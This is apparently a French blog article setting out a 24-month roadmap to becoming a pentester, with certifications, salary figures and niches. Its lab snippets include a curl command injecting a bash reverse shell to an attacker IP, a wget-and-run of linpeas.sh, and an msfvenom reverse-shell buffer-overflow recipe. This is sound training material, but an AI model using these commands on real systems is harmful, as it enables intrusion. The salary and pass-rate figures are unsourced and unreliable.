Roadmap pentest 2026 : 24 mois priorités vers 100 k€ et OSCP

Devenir pentester junior à 42-50 k€ en 12-15 mois et confirmé à 75-95 k€ en 24 mois est faisable depuis un substrat IT 3-5 ans XP, à condition de suivre une roadmap structurée en 8 paliers chiffrés plutôt qu'une accumulation chaotique de certifs et tutos YouTube. Le marché FR 2026 paie 38 k€ junior à 130 k€ specialist senior + niches premium (red team IA 1 500-2 500€/jour TJM), avec ~400 postes pentest ouverts à un instant T (3-5x moins que DevSecOps). La majorité des candidats brûlent 18-30 mois sur des paliers mal ordonnés (OSCP tenté trop tôt, CEH/CompTIA empilés, pas de portfolio public) et plafonnent à 65 k€ après 4 ans XP. Cet article documente la roadmap pentester 24 mois optimale en 8 paliers : audit profil, fondamentaux web/réseau/AD, eJPT + HackTheBox, BSCP + portfolio public, OSCP + premier poste, OSWE/OSEP + niche débutante, niche premium opérée, mise en marché, avec durées, livrables, certifications, chiffres salaires FR 2026 vérifiables et anti-patterns.

Pour le contexte général : voir devenir pentester priorités 2026. Pour le parcours from scratch (sans IT préalable) : voir roadmap cybersécurité débutant priorités 2026.

Le bon mental model : roadmap pentest = paliers verrouillables, pas marathon de certifs

Beaucoup de candidats abordent le pentest comme un empilement de certifs (« je passe CEH, puis Security+, puis eJPT, puis OSCP, puis OSWE »). C'est l'erreur stratégique numéro 1. La progression efficace passe par des paliers verrouillables : à chaque palier, un livrable concret + une certification ciblée + un projet public + une mobilité. Sans verrouillage, l'apprentissage diffuse 30-50% de l'effort.

Mythe progression pentester              vs    Réalité progression pentester 2026
───────────────────────────────────             ────────────────────────────────────
Tout apprendre en parallèle                →   Paliers séquentiels avec livrables
6 certifs en 12 mois = senior               →   1-3 certs ciblées + 100+ HTB + writeups publics
On vise OSCP direct mois 3                  →   OSCP au mois 12-15 après 200-300h pratique
Linéaire : skill A puis B puis C            →   Boucles : apprendre → résoudre HTB → writeup → publier
On reste junior pentest 5 ans en ESN         →   Mobilité externe + niche tous les 18-24 mois
La niche émerge naturellement               →   Choix conscient niche au mois 18-24
Pentester = solitaire dans son coin          →   Communauté HTB/THM + meetups + portfolio public

Position 1 : la roadmap pentest optimale combine 3 vecteurs simultanément, technique (skills + 100-150 HTB), reconnaissance (certifs OSCP/OSWE + writeups publics + meetups), monétisation (mobilité salariale tier 1-2). Travailler les trois en parallèle, pas séquentiellement. Un candidat qui passe 24 mois en mode 100% technique sans portfolio public laisse 15-25 k€/an sur la table en mobilité junior/confirmé.

Position 2 : tenter OSCP avant le mois 12 sans 200-300h pratique HackTheBox/TryHackMe préalable = échec first attempt à ~70%, retake 200$ + 4-6 mois supplémentaires + perte de motivation. La séquence eJPT (mois 6) → 100 HTB (mois 6-12) → BSCP (mois 9) → OSCP (mois 12-15) maximise pass rate first attempt à ~75%. Le timing OSCP n'est pas négociable.

Palier 1, Audit profil et engagement (semaines 1-2)

Audit profil de départ, score sur 5 dimensions

Total ≥ 15 et code ≥ 3 : roadmap 24 mois directement applicable. Total 10-14 : ajouter 6-12 mois fondamentaux IT/dev/Linux avant. Total < 10 : voir roadmap cybersécurité débutant.

Engagement temps + budget

Engagement minimum roadmap pentester 24 mois :
- Temps : 10-15h/semaine constant pendant 24 mois (~1 000-1 500h cumulé)
- Budget formation total : 3 000-4 000$ (certifs + abos labs + livres)
- Budget bootcamp optionnel : 5 000-12 000€ (ROI 18 mois si emploi 45 k€ junior post)
- Lab maison : laptop 16-32 GB RAM + 500 GB SSD (déjà en main)
- Cloud : AWS Free Tier ou Azure Free + occasionnel paiement
- Abonnements obligatoires : HackTheBox VIP (14$/mois) ou TryHackMe Premium (14$/mois)

Discipline non négociable : ne pas tenter OSCP avant palier 5 (mois 12-15)
Time-to-money attendu : palier 4 (mois 12) = 40-50 k€ junior, palier 7 (mois 24) = 75-95 k€ senior

Palier 2, Fondamentaux web/réseau/AD (mois 1-3, 150-200h)

# Script Python lab palier 2, port scanner basique (à savoir écrire fin mois 3)
import socket
import concurrent.futures
from datetime import datetime
 
def scan_port(target, port, timeout=1.5):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            if s.connect_ex((target, port)) == 0:
                # Banner grabbing basique
                try:
                    s.send(b"HEAD / HTTP/1.0\r\n\r\n")
                    banner = s.recv(1024).decode(errors="ignore").split("\n")[0]
                except Exception:
                    banner = ""
                return port, "open", banner
    except Exception:
        pass
    return port, "closed", ""
 
def scan(target, ports):
    print(f"[*] Scanning {target} at {datetime.now()}")
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as ex:
        for port, state, banner in ex.map(lambda p: scan_port(target, p), ports):
            if state == "open":
                print(f"  [+] {port}/tcp open  {banner}")
 
scan("scanme.nmap.org", range(1, 1025))

Livrable verrouillable mois 3 : 1 repo GitHub public avec 5 scripts Python utiles + lab Windows Server documenté + 50 niveaux OverTheWire Bandit complétés. Profil signal CV : « Apprenant pentest actif, base technique solide ».

Palier 3, eJPT + HackTheBox / TryHackMe intensif (mois 3-7, 200-300h)

# Workflow type HackTheBox machine easy (à savoir faire en 1-2h fin mois 7)
# 1. Énumération initiale
nmap -sC -sV -oN nmap.scan -p- 10.10.10.X
# Résultats typiques : 22/SSH, 80/HTTP, 443/HTTPS
 
# 2. Énumération web
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nikto -h http://10.10.10.X
whatweb http://10.10.10.X
 
# 3. Identification vulnérabilité (ex : LFI, SQLi, RCE)
sqlmap -u "http://10.10.10.X/login.php" --forms --batch
 
# 4. Exploitation et reverse shell
nc -lvnp 4444  # listener local
curl "http://10.10.10.X/cmd?c=bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'"
 
# 5. Privilege escalation
# LinPEAS, pspy, sudo -l, find SUID
wget http://10.10.14.X/linpeas.sh -O /tmp/linpeas.sh && bash /tmp/linpeas.sh
 
# 6. Documentation writeup post-machine (15-30 min)
# Markdown : pwn → root, screenshots, IOC, MITRE ATT&CK mapping

Livrable verrouillable mois 7 : Cert eJPT validée + 50 HackTheBox machines + 10 writeups publics sur blog perso/GitHub + Burp Suite Pro maîtrisée + PortSwigger Apprentice 100%. Salaire visé : poste stagiaire/junior pentest 38-46 k€ via candidature ESN cyber tier 3-5.

Palier 4, BSCP + portfolio public + premier poste (mois 7-12, 200-250h)

Top employeurs juniors pentest FR 2026 (mois 9-12)

Livrable verrouillable mois 12 : Cert BSCP + 100 machines HTB cumulées + 20 writeups publics + premier poste pentest junior signé. Salaire 40-50 k€ junior. Position dans la communauté : 1 talk meetup local (OWASP Paris, Le Hack, BSides Paris) + premier compte Twitter/X pentest actif.

Palier 5, OSCP + montée junior solide (mois 12-15, 200-250h)

C'est le palier central et le plus difficile. OSCP est la cert qui débloque ESN cyber tier 1-2 et qui marque le passage junior → confirmé en compétences.

# Buffer Overflow maîtrise mois 13-14 (capacité minimale OSCP 2026)
# 1. Spike fuzzing pour trouver vulnerable command
generic_send_tcp 10.0.0.5 9999 spike.spk 0 0
# spike.spk : s_readline(); s_string("USER "); s_string_variable("");
 
# 2. Calcul offset avec Metasploit
msf-pattern_create -l 5000 > pattern.txt
# Crash, récupérer EIP value, puis :
msf-pattern_offset -l 5000 -q 39654138
# Résultat : Exact match at offset 1978
 
# 3. Trouver bad characters
badchars="\x01\x02..\xff"  # tous sauf \x00 typiquement
 
# 4. Trouver JMP ESP avec mona.py
!mona modules
!mona find -s "\xff\xe4" -m essfunc.dll
 
# 5. Générer shellcode et exploiter
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.X LPORT=4444 -f c -e x86/shikata_ga_nai -b "\x00"
# Exploit final : padding + EIP=JMP_ESP + nops + shellcode

Position 3 : passer OSCP au mois 12-15 (PAS au mois 6 ou 9) est la décision stratégique majeure de la roadmap. Tenter trop tôt = échec + retake + démoralisation. Différer = pass rate first attempt ~75%, déblocage immédiat des postes 50-60 k€ confirmés, mobilité tier 1-2 possible.

Livrable verrouillable mois 15 : Cert OSCP dans LinkedIn, 120 HTB cumulées (50 easy + 50 medium + 20 hard), 25-30 writeups publics. Salaire visé mobilité externe : 50-62 k€ confirmé en pure players cyber (Synacktiv, Tehtris) ou pure cyber spécialisé (Almond, I-Tracing).

Palier 6, OSWE/OSEP + niche débutante (mois 15-21, 250-300h)

Choix niche débutante mois 15-18

Livrable verrouillable mois 21 : Cert spécialisation niche (OSWE/OSEP/CRTO) + 1 projet niche public + 30+ writeups cumulés + signature poste senior tier 1-2 (Synacktiv, Tehtris, Sekoia, BNP Red Team). Salaire : 60-80 k€ confirmé.

Palier 7, Niche premium opérée + reconnaissance externe (mois 21-24, 200h)

À ce palier, la niche débutante mature en niche premium opérée en mission réelle 6+ mois = profil specialist senior recherché en pénurie.

Reconnaissance externe à construire mois 21-24

Mise en production niche AI Red Team (option émergente premium 2026)

# Stack acquisition niche AI Red Team mois 18-24 (pour profils déjà OSCP + OSWE/OSEP)
plan_niche_ai_red_team = {
    "M18-19": [
        "OWASP LLM Top 10 v2.0 (octobre 2024), lecture complète",
        "MITRE ATLAS toutes TTPs adversarial ML",
        "NIST AI RMF + profil GenAI (juillet 2024)",
        "Anthropic Constitutional AI papers (Bai et al., 2022)",
        "Karpathy 'Let's build GPT' YouTube + papers transformers",
    ],
    "M20-21": [
        "Garak (NVIDIA), 50+ probes sur 5 modèles différents",
        "PyRIT (Microsoft), 20 datasets adversarial",
        "Lab RAG poisoning + vector DB pentest (Chroma, Pinecone, pgvector)",
        "Adversarial examples : FGSM, PGD, CW attacks",
    ],
    "M22-23": [
        "Bug bounty Anthropic (25k-100k$ pour LLM safety)",
        "Bug bounty OpenAI / HuggingFace",
        "Audit pratique chatbot association (consentement écrit)",
        "Lecture 5 papers récents : prompt injection, agent hijacking, indirect injection",
    ],
    "M24": [
        "Refonte CV / LinkedIn avec niche AI Red Team affichée",
        "5 articles techniques niche IA publiés",
        "1 talk donné conférence (OWASP, BSides, DEFCON AI Village)",
        "Premier mandat client AI Red Team (1 500-2 500€/jour TJM possible)",
    ],
}

Voir audit LLM security comment ça marche et devenir AI red teamer roadmap pour méthodologie complète.

Livrable verrouillable mois 24 : profil specialist senior reconnu (5-8 articles, 2 talks, 1-2 PR OSS niche, 1 CVE/advisory publique, 1 niche operée 6+ mois en mission). Salaire : 75-95 k€ specialist senior salarié OU bascule freelance SASU 950-1 200€/jour (équivalent 110-135 k€/an net), niche AI Red Team 1 500-2 500€/jour TJM.

Palier 8, Mise en marché finale et choix de trajectoire (mois 24+)

Au palier 24 mois, 4 trajectoires de monétisation s'ouvrent.

Position 4 : la bascule freelance senior à 24 mois post-palier 1 est rentable pour 60-70% des profils, à condition d'avoir 6 mois de trésorerie de sécurité (~30-50 k€) et un réseau client (~10 contacts ESN/grand compte direct constitué pendant les 24 mois). 60%+ des pentesters seniors FR finissent freelance à 7+ ans XP, ce n'est pas un hasard, c'est une optimisation économique pure. Voir salaire pentester priorités 2026.

Tableau récapitulatif paliers + chiffres

Erreurs fréquentes qui font dérailler la roadmap

Pour aller plus loin

• Devenir pentester priorités 2026, top 7 priorités classées du parcours.
• Salaire pentester priorités 2026, 7 leviers pour franchir 100 k€.
• Pentester c'est quoi priorités 2026, 7 réalités opérationnelles avant de viser le métier.
• Roadmap cybersécurité débutant priorités 2026, parcours from scratch sans IT préalable.
• Roadmap DevSecOps priorités 2026, comparaison roadmap 24 mois famille BUILD.
• Devenir AI red teamer roadmap, bascule pentester → niche IA premium.
• Comment financer formation cybersécurité 2026, financer OSCP + roadmap via CPF/OPCO/AIF.

Points clés à retenir

• Roadmap pentester optimale 24 mois en 8 paliers verrouillables : audit profil, fondamentaux web/réseau/AD, eJPT + HTB, BSCP + portfolio, OSCP + premier poste, OSWE/OSEP + niche, niche premium opérée, mise en marché.
• Prérequis non négociables : substrat IT 3-5 ans XP. Sans cela, ajouter 12-18 mois fondamentaux IT avant. Sans IT du tout : 30-36 mois total via roadmap-cybersecurite-debutant.
• Effort cumulé : 1 000-1 500h sur 24 mois = 10-15h/semaine constant. Budget formation 3 000-4 000$ certifs + abos labs.
• Combo certifs ROI optimal : eJPT (200$) + BSCP (99£) + OSCP (1 599$) + OSWE OU OSEP (1 599$). Total ~3 500-3 700$. Anti-pattern : empiler CEH + Sec+ + CompTIA sans portfolio = profil théorique non recrutable.
• Timing OSCP critique : palier 5 (mois 12-15) après 100 HTB + BSCP. Tenter avant mois 12 = échec ~70% first attempt + retake 200$.
• Salaires par palier FR 2026 : palier 3 (38-46 k€), palier 5 (50-62 k€ confirmé OSCP), palier 6 (60-80 k€ confirmé niche), palier 7 (75-95 k€ specialist), palier 8 (110-135 k€ équivalent freelance).
• Niches premium 2026-2028 : AI/LLM Red Team (+20-35 k€ vs web généraliste, pénurie aiguë, 1 500-2 500€/jour TJM), Red Team objectif-driven (90-120 k€), OT/ICS, hardware/embedded.
• Mobilité externe obligatoire à paliers 4, 5, 6, 8. Rester en interne >18-24 mois sans changer = -10-15 k€/an non rattrapable.
• Top employeurs cibles palier 5-6 : tier 1 (Synacktiv, Quarkslab, Ledger Donjon, Tehtris) 65-90 k€ confirmé, tier 2 (Almond, I-Tracing, Synetis) 55-78 k€.
• Reconnaissance externe palier 7 (5+ writeups + 2 talks + 1-2 PR OSS + 1 CVE) est l'invariant qui distingue 65 k€ confirmé de 90 k€ specialist senior.
• Bascule freelance palier 8 rentable pour 60-70% profils si 6 mois trésorerie + réseau (~10 contacts) constitué pendant les 24 mois. SASU 950-1 200€/jour = équivalent 110-135 k€/an net.
• Anti-pattern majeur : tenter OSCP au mois 6 ou empiler 5 certifs en 12 mois sans portfolio public. Inverser : 1 cert centrale (OSCP) + 100-150 HTB + 25-30 writeups + 1 niche.